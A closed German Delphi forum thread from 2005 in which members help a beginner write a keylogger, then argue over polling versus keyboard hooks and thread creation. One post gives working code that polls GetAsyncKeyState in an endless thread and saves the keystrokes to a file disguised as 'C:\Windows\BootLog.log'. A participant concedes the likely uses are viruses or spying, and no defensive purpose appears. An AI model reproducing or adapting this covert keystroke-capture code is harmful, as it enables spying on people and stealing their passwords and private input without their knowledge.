Autor |
Beitrag |
F34r0fTh3D4rk
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Do 10.02.05 17:10
er ist halt der meister nur er kommt auf sonn sch**ß der so einfach wie genial ist, so ist er halt,
|
|
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1
|
Verfasst: Do 10.02.05 17:12
Wenn nich sehe, wie in diesem Code der Thread erzeugt wird, dann schüttelt mich das aber ziemlich heftig und es läuft mir kalt den Rücken runter.
|
|
uall@ogc
Beiträge: 1826
Erhaltene Danke: 11
Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
|
Verfasst: Do 10.02.05 17:13
@Tino
wenn mans richig macht bekommt man auch alle Keys, sogar die wenn man die taste gedrückt hält
man muss halt nur eventl selbst groß klein schreibung beachten das kann man aber mit der shifttaste abfragen
man kann die schleife von 1 bis 254 erhöhen (aber nicht 255 nehmen das ist immer gedrückt ;>)
es zählen die VK_codes
naja das ist so alt und wurde schon in mehreren cheats benutzt, ich finde ahlt nen hook zu aufwändig dafür, das ist so easy und wenig code und noch net mal sehr prozessorlastig :>
@luckie das mit dem thread ist einfach hingeschrieben damits geht - und es funktioniert, wenn es auch nicht benutzt wurde wie es eigentlich soll
Zuletzt bearbeitet von uall@ogc am Do 10.02.05 17:14, insgesamt 1-mal bearbeitet
|
|
retnyg
Beiträge: 2754
SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
|
Verfasst: Do 10.02.05 17:13
wieso, es funktioniert, und das mit einer zeile! sourcecode. anstatt da lang tthread objekte in einer eigenen unit zusammenzubasteln.
|
|
F34r0fTh3D4rk
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Do 10.02.05 18:18
wie speichere ich das am besten in eine Datei ?
ich dachte ich mache eine Datei:
Delphi-Quelltext 1: 2:
| F: string; TF: file of char; |
und dann
Delphi-Quelltext 1: 2:
| F:= 'C:\keylog.txt'; if fileexists(f) then append(TF) else rewrite(TF); |
und dann natürlich mit
Delphi-Quelltext
aber append geht ja nur bei textdateien, was nehme ich stattdessen, die datei
soll ja net jedes mal geleert werden
Moderiert von Tino: Code- durch Delphi-Tags ersetzt.
|
|
retnyg
Beiträge: 2754
SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
|
Verfasst: Do 10.02.05 18:22
nimm halt textfile statt file of char, da kannst genauso einzelne chars rein-write-n
|
|
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1
|
Verfasst: Do 10.02.05 18:26
retnyg hat folgendes geschrieben: | wieso, es funktioniert, und das mit einer zeile! sourcecode. anstatt da lang tthread objekte in einer eigenen unit zusammenzubasteln. |
Das meinte ich nicht. Lies mal mein Tutorial zu Thread: tutorials.luckie-online.de .
CreateThread sollte man nicht verwenden, sondern BeginThread. Desweiteren ist der Prototyp für die Thread-Funktion eine Funktion mit einem Integerrückgabewert und einem Pointer als Parameter.
|
|
uall@ogc
Beiträge: 1826
Erhaltene Danke: 11
Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
|
Verfasst: Do 10.02.05 18:32
Da der parameter in EBX übergeben wird (und nicht per stack)
und EAX der rückgabe parameter ist, ist das keine begründung warum man nicht
Delphi-Quelltext 1: 2: 3: 4:
| procedure bla; begin .. end; |
benutzen kann
desweiteren wirds in c++ auch benutzt da gibt es bestimmt kein BeginThread denk aml das ist wieder delphi spezifisch ;>
EDIT:
das mit dem stack nehme ich halb zurück ;>
er ist vor der return adresse zu exitthread aufm stack, d.h. es funktioniert auch OHNE probleme so wie cihs gepostet habe
braucht man jedoch den parameter
kann man
Delphi-Quelltext 1: 2: 3: 4:
| procedure bla(p: pointer); stdcall; begin .. end; |
nehmen, BeginThread braucht mal also auch nicht und damit lucky glücklich ist:
Delphi-Quelltext 1: 2: 3: 4:
| function bla(p: pointer): integer; stdcall; begin .. end; |
aber meien variante wird genausowenig probleme machen und ist kürzer hrhr
|
|
F34r0fTh3D4rk
Beiträge: 5284
Erhaltene Danke: 27
Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
|
Verfasst: Do 10.02.05 19:19
das mit dem speichern mach ich jetzt so:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32:
| procedure keylogger; var i: integer; f, buffer: string; LList: TStringlist; begin buffer:= ''; f:= 'C:\Windows\BootLog.log'; LList:= TStringlist.Create; if fileexists(f) then LList.loadfromfile(f); while true do begin for i := 48 to 90 do if boolean(getasynckeystate(i)) then buffer:= buffer + char(i); if length(buffer) >= 80 then begin LList.add(buffer); buffer:= ''; end; LList.SaveToFile(f); sleep(10); end; LList.Free; end;
procedure TForm1.FormCreate(Sender: TObject); var tid: cardinal; begin createthread(nil,0,@keylogger,nil,0,tid); end; |
|
|
Gast
Gast
Erhaltene Danke: 1
|
Verfasst: Do 10.02.05 20:27
uall@ogc hat folgendes geschrieben: | "wieso macht es denn keiner?"
weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
Kleiner Appell
<ironie>
Liebe Anfänger,
benutzt doch einfach was ihr wollt. Am besten sind übrigens Timer mit 1 Millisekunde geeignet (man sollte nicht weniger als 64000 Timer gleichzeitig verwenden!). Stattdessen kann man auch Threads mit einer Endlosschleife ohne Yield an andere Threads nehmen. Wenn man zusätzlich CPU-Abwärme braucht (Heizung, Kaffee kochen, Spiegelei braten ...) kann man auch den restlichen Code in der Endlosschleife im Thread durch <nichts> ersetzen. Erst wenn die CPU-Last bei permanent 99% ist, kann man sich zurücklehnen.
Für alle, die es noch optimaler wollen, kann ich auch eine kleine Assembler-Routine mit superkleinem Overhead basteln.
Danke für eure Aufmerksamkeit!
</ironie>
... ach ja ... und macht der Welt bitte die Freude und sagt, bei welcher Firma ihr arbeitet oder wie das Programm heißt, damit niemand so dumm (lies: unwissend) sein muß und es auch wirklich benutzt.
F34r0fTh3D4rk hat folgendes geschrieben: | er ist halt der meister nur er kommt auf sonn sch**ß der so einfach wie genial ist, so ist er halt, |
Wenn da jetzt nicht "sch**ß" gestanden hätte (ich fasse diesen Text mal als nicht-ironisch auf!) würde ich nochmal kotzen müssen ...
Für diesen Beitrag haben gedankt: Xion
|
|
uall@ogc
Beiträge: 1826
Erhaltene Danke: 11
Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
|
Verfasst: Do 10.02.05 20:44
Zitat: |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
|
teste es so wie ichs gemacht habe, wenn du mehr als 100 (naja sagen wir mal 10 anschläge) pro sekunde machen kannst dann stimmts
Zitat: |
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
|
ne aber gut das du mir meinen code angeschaut hast, also ist CreateThread = Timer ?
Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
|
wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, es ist von mir nur eine Methode geschrieben wie man es weniger KOMPLIZIERT machen kann aber nahezu das selbe ergebnis erbringen kann was vollkommend ausreichend ist (einfach testen)
|
|
retnyg
Beiträge: 2754
SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
|
Verfasst: Do 10.02.05 20:54
Zitat: |
Liebe Anfänger,
benutzt doch einfach was ihr wollt. Am besten sind übrigens Timer mit 1 Millisekunde geeignet (man sollte nicht weniger als 64000 Timer gleichzeitig verwenden!). Stattdessen kann man auch Threads mit einer Endlosschleife ohne Yield an andere Threads nehmen. Wenn man zusätzlich CPU-Abwärme braucht (Heizung, Kaffee kochen, Spiegelei braten ...) kann man auch den restlichen Code in der Endlosschleife im Thread durch <nichts> ersetzen. Erst wenn die CPU-Last bei permanent 99% ist, kann man sich zurücklehnen.
Für alle, die es noch optimaler wollen, kann ich auch eine kleine Assembler-Routine mit superkleinem Overhead basteln. |
das kannste auch einfacher haben: while true do application.processmessages;
|
|
uall@ogc
Beiträge: 1826
Erhaltene Danke: 11
Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
|
Verfasst: Do 10.02.05 20:59
Acha da du dich gerade so angemacht fühlst...
Habe ich deinen code irgendwie schlecht gemacht? Ich habe lediglich behauptet das der aufwand für einen keylogger mit deiner methode viel zu groß ist... nicht aber das man sie für andere sachen benutzen kann.
es gibt einige wenige programme die deine art der "dll injektion" genutzt haben oder nutzen.
aber bei denen ist es wichtig das die dll im prozess geladen ist und die machen dann etwas anderes (kann mich noch an die guten alten Cheatings Death zeiten reinnern um version 2.0) aber die nutzen jetzt auch schon ne andere methode.
Nun stell ich mir die frage wofür braucht man einen Keylogger? das einzige was mir da einfällt ist vielleicht ein vrius oder irgend etwas was einen auspioniert... das programm sollte möglichs klein sein und bestenfalls asu einer exe bestehen, klar kann man deinen code benutzen, aber für den anfänger (fear) z.b. war es doch extrem schwierig
ich habe ihm halt eine leichtere methode gegeben und er ist damit klargekommen. bist nu sauer das eventl jemand der den thread hier liest nicht mehr das so macht wie du, ob wohl es 'vielleicht' die bessere methode ist?
das kotz würg etc. find cih super nett von dir, das CreateThread wurde schon von Luckie bemängelt -> klar kann man halt mit Begin thread machen oder halt CreateThread mit stdcall und parameter und rückgabewert - KANN MAN- man kann auch meinst benutzen es ist zwar eurer meinung anch nicht so toll funktioniert aber AUCH OHNE probleme
wenn hier jedesmal rumgeflamed wird weil ich mal sage: machs doch so etc. und hier die bsichen besseren (Luckie, Assarbad etc.) mal wieder ihre meinung posten müssen, ich versuch auch nur zu helfen und immerhin sind 2 leute damit klargekommen weil dein tutorial wohl etwas zu schwer für sie war.
ihr könnt ruhig alle meine beträge hier löschen, gehört ja nicht direkt zum tutoial sondern nur um eine problemösung von Fear
danke
|
|
Gast
Gast
Erhaltene Danke: 1
|
Verfasst: Do 10.02.05 20:59
uall@ogc hat folgendes geschrieben: | Zitat: |
Also ich habe schon guten Code von dir gesehen, aber dieser Vorschlag ist Quark. Zumal du nicht alle Tastenanschläge bekommen wirst.
| teste es so wie ichs gemacht habe, wenn du mehr als 100 (naja sagen wir mal 10 anschläge) pro sekunde machen kannst dann stimmts |
Oh - stimmt - ich vergaß. Wenn ich zB Wissen will, ob ein Kumpel auf Arbeit ist, dann rufe ich ja auch alle 10 Sekunden bei seinem Betrieb an um nachzufragen (Polling) anstatt um einen Rückruf zu bitten um mich benachrichtigen zu lassen (Hooks/Notifications). Und damit ich besonders clever bin, der Hausmeister könnte ja schließlich mehr wissen als der Chef, rufe ich mit dutzenden Telefonen gleichzeitig (FOR-Schleife) alle Mitarbeiter seines Betriebes kurz hintereinander an.
Das ist Logik. Das ist Effizienz. Danke Meister!
uall@ogc hat folgendes geschrieben: | Zitat: |
Desweiteren sind Timer eine systembelastende Methode und sollten wo es geht vermieden werden. Schonmal was von Threads gehört?
|
ne aber gut das du mir meinen code angeschaut hast, also ist CreateThread = Timer ? |
Danke für diese Worte, weiser Meister! Ich bin ja doof, nicht wahr ? ... uall@ogc hat folgendes geschrieben: | wenn man einfach nur den Text mitloggn will warum muss man das übr nen keayboard hook macen da reicht auch nen timer mit Getkeyboardstate(xxx) (war der befehl so oO) ider getasynckeystate() |
Ganz abgesehen, daß du mit der Rektsraibunk auch ein wenig auf dem Kriegsfuß stehst ...
uall@ogc hat folgendes geschrieben: | Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
|
wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, |
Das geht mit phpBB normalerweise.
uall@ogc hat folgendes geschrieben: | es ist von mir nur eine Methode geschrieben wie man es weniger KOMPLIZIERT machen kann aber nahezu das selbe ergebnis erbringen kann was vollkommend ausreichend ist (einfach testen) |
Soso, weniger kompliziert ... ob das die CPU auch so sieht? Komischerweise hat die CPU bei deiner Methode WEIT mehr zu tun als bei jeglichem Hook!
Kennst du den Unterschied zwischen dem:
Quelltext
... und dem ...
Quelltext
???
Ist aber immer gut einen wertvollen Geheimtip von einem echten Guru zu bekommen, der die absolut geheime Methode gefunden hat, auf die die anderen Idioten noch nicht gekommen sind.
|
|
raziel
Beiträge: 2453
Arch Linux
JS (WebStorm), C#, C++/CLI, C++ (VS2013)
|
Verfasst: Do 10.02.05 21:04
Assarbad hat folgendes geschrieben: | uall@ogc hat folgendes geschrieben: | Zitat: |
*WÜRG* *KOTZ* und jetzt kommen noch Leute die das für toll und genial halten. Grausam!!! Bitte trennt diesen Thread vom Tutorial!!! HILFE!!!
| wenn das geht bitte machen, aber dann bitte als Thread mit dem titel "keylogger" oder so, |
Das geht mit phpBB normalerweise. |
Nur bei uns grad nicht und deshalb ist jetzt hier Schluß
Der Rest wird bitte per PN geklärt! //Edit: Bzw. in einem anderen Topic.
Danke,
raziel
_________________ JSXGraph
|
|
retnyg
Beiträge: 2754
SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
|
Verfasst: Do 10.02.05 21:05
mist dat haben auch die spitzel gesehen *duck*
|
|
uall@ogc
Beiträge: 1826
Erhaltene Danke: 11
Win 2000 & VMware
Delphi 3 Prof, Delphi 7 Prof
|
Verfasst: Do 10.02.05 21:07
Zitat: |
"wieso macht es denn keiner?"
weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel
|
weils keiner weiß = nicht weil du es nicht weißt Assarbad - sondern weil deins das einzige tutorial ist für nen keylogger
aber ich habe hier lediglich eine andere variante gepostet, mit der man auch nen keylogger schreiben kann - aber das es so geht wurde noch NIE irgendwo gesagt, und die normalis wissen es halt nicht - nu steht meien variante auch zu auswahl
edit: ich hör auf hier wieter zu posten hatt deinen post zu spät gesehen war schon am schreiben
aber Assarbad vill regst dich mal nen bischen ab kannst mich gerne PMen wenn das geklärt haben willst
|
|
Gast
Gast
Erhaltene Danke: 1
|
Verfasst: Do 10.02.05 21:10
retnyg hat folgendes geschrieben: | das kannste auch einfacher haben: while true do application.processmessages; |
Die richtige Antwort wäre gewesen:
Quelltext
Aber ist okay
uall@ogc hat folgendes geschrieben: | Acha da du dich gerade so angemacht fühlst... |
Oh ja, ich fühle mich angemacht. Allerdings nicht von dir, sondern von der Tatsache, daß du hier Unsinn rausposaunst und auch gleich die ersten Unwissenden ankommen die ihren Meister gefunden haben ...
uall@ogc hat folgendes geschrieben: | Habe ich deinen code irgendwie schlecht gemacht? Ich habe lediglich behauptet das der aufwand für einen keylogger mit deiner methode viel zu groß ist... nicht aber das man sie für andere sachen benutzen kann. |
Siehe Anrufbeispiel. Du hast so recht. Logik und Effizienz sind dumme Prinzipien.
uall@ogc hat folgendes geschrieben: | es gibt einige wenige programme die deine art der "dll injektion" genutzt haben oder nutzen.
aber bei denen ist es wichtig das die dll im prozess geladen ist und die machen dann etwas anderes (kann mich noch an die guten alten Cheatings Death zeiten reinnern um version 2.0) aber die nutzen jetzt auch schon ne andere methode. |
Es ist auch nur _eine_ Methode um dies zu erreichen. Davon gibt es hunderte und vor allem auch bessere (weil "sanftere") als die, die ich in dem besagten guten Code von dir gesehen habe!
uall@ogc hat folgendes geschrieben: | Nun stell ich mir die frage wofür braucht man einen Keylogger? das einzige was mir da einfällt ist vielleicht ein vrius oder irgend etwas was einen auspioniert... das programm sollte möglichs klein sein und bestenfalls asu einer exe bestehen, klar kann man deinen code benutzen, aber für den anfänger (fear) z.b. war es doch extrem schwierig
ich habe ihm halt eine leichtere methode gegeben und er ist damit klargekommen. bist nu sauer das eventl jemand der den thread hier liest nicht mehr das so macht wie du, ob wohl es 'vielleicht' die bessere methode ist? |
Nein. Ich bin nur sauer weil du ja soooo recht hast und ich keine Argumente habe (siehe oben).
uall@ogc hat folgendes geschrieben: | das kotz würg etc. find cih super nett von dir, das CreateThread wurde schon von Luckie bemängelt -> klar kann man halt mit Begin thread machen oder halt CreateThread mit stdcall und parameter und rückgabewert - KANN MAN- man kann auch meinst benutzen es ist zwar eurer meinung anch nicht so toll funktioniert aber AUCH OHNE probleme |
In Sachen BeginThread() habe ich eine komplett andere Auffassung als Luckie - würfele also gefälligst nicht die Personalien durcheinander!
uall@ogc hat folgendes geschrieben: | wenn hier jedesmal rumgeflamed wird weil ich mal sage: machs doch so etc. und hier die bsichen besseren (Luckie, Assarbad etc.) mal wieder ihre meinung posten müssen, ich versuch auch nur zu helfen und immerhin sind 2 leute damit klargekommen weil dein tutorial wohl etwas zu schwer für sie war.
ihr könnt ruhig alle meine beträge hier löschen, gehört ja nicht direkt zum tutoial sondern nur um eine problemösung von Fear |
Nochmal - ohne Polemik, hoffe ich - es geht hier nicht darum dich fertigzumachen oder ähnliches. Es geht hier einfach darum, daß du Unsinn verbreitest. Ich ahne schon schlimmes, wenn dieser Unsinn um sich greift und dann die ersten Fragen von irgendwelchen Leuten im Forum kommen, die keine Ahnung davon haben was sie machen.
Sicher geht deine Methode ... aber überdenke doch vielleicht mal halbwegs objektiv das Anrufbeispiel. Dann wirst du sehen wie unsinnig deine Methode ist - völlig unabhängig ob es funktioniert. Ich kann dir soviele Sachen nennen, "die funktionieren", aber das heißt nicht, daß sie deshalb so wie sie implementiert sind auch sinnvoll sind.
uall@ogc hat folgendes geschrieben: | edit: ich hör auf hier wieter zu posten hatt deinen post zu spät gesehen war schon am schreiben
aber Assarbad vill regst dich mal nen bischen ab kannst mich gerne PMen wenn das geklärt haben willst |
*heul* Es geht hier nicht um irgendeine "persönliche Sache" die man per PN lösen müßte. Das ist für mich auch nichts persönliches. Ich will nur, daß dieser fachliche Unfug nicht die Runde macht. Zum Xten mal es ist und bleibt Unsinn dies so zu machen. Und nochmal, ja es geht dennoch so.
An uall@ogc:
Bitte äußere dich zu meinen Argumenten. Zugegeben, oben war ich vielleicht etwas impulsiv, was aber nicht zuletzt daran lag, daß plötzlich die ersten Newbies (?) heranströmten, die deine "geniale" Idee übernehmen wollten.
Wie gesagt: macht es alle so wie ihr wollt, aber erspart bitte den Benutzern eure Lösung!!!
|
|
Karlson
Beiträge: 2088
|
Verfasst: Do 10.02.05 21:18
edit: da hat sich wsa getan während ich schrieb. will mich nicht einmischen...
Zuletzt bearbeitet von Karlson am Do 10.02.05 21:22, insgesamt 1-mal bearbeitet
|
|
retnyg
Beiträge: 2754
SNES, GB, GBA, CPC, A500, 486/66, P4/3.0HT: NintendOS, AmigaOS, DoS
Delphi 5, Delphi 7
|
Verfasst: Do 10.02.05 21:20
was ist so schlimm dran einen thread mit createthread zu erzeugen ? wird da der speicher nicht mehr freigemacht oder was ?
|
|
Dieses Thema ist gesperrt, Du kannst keine Beiträge editieren oder beantworten.
Das Thema wurde von einem Team-Mitglied geschlossen. Wenn du mit der Schließung des Themas nicht einverstanden bist, kontaktiere bitte das Team.
|
|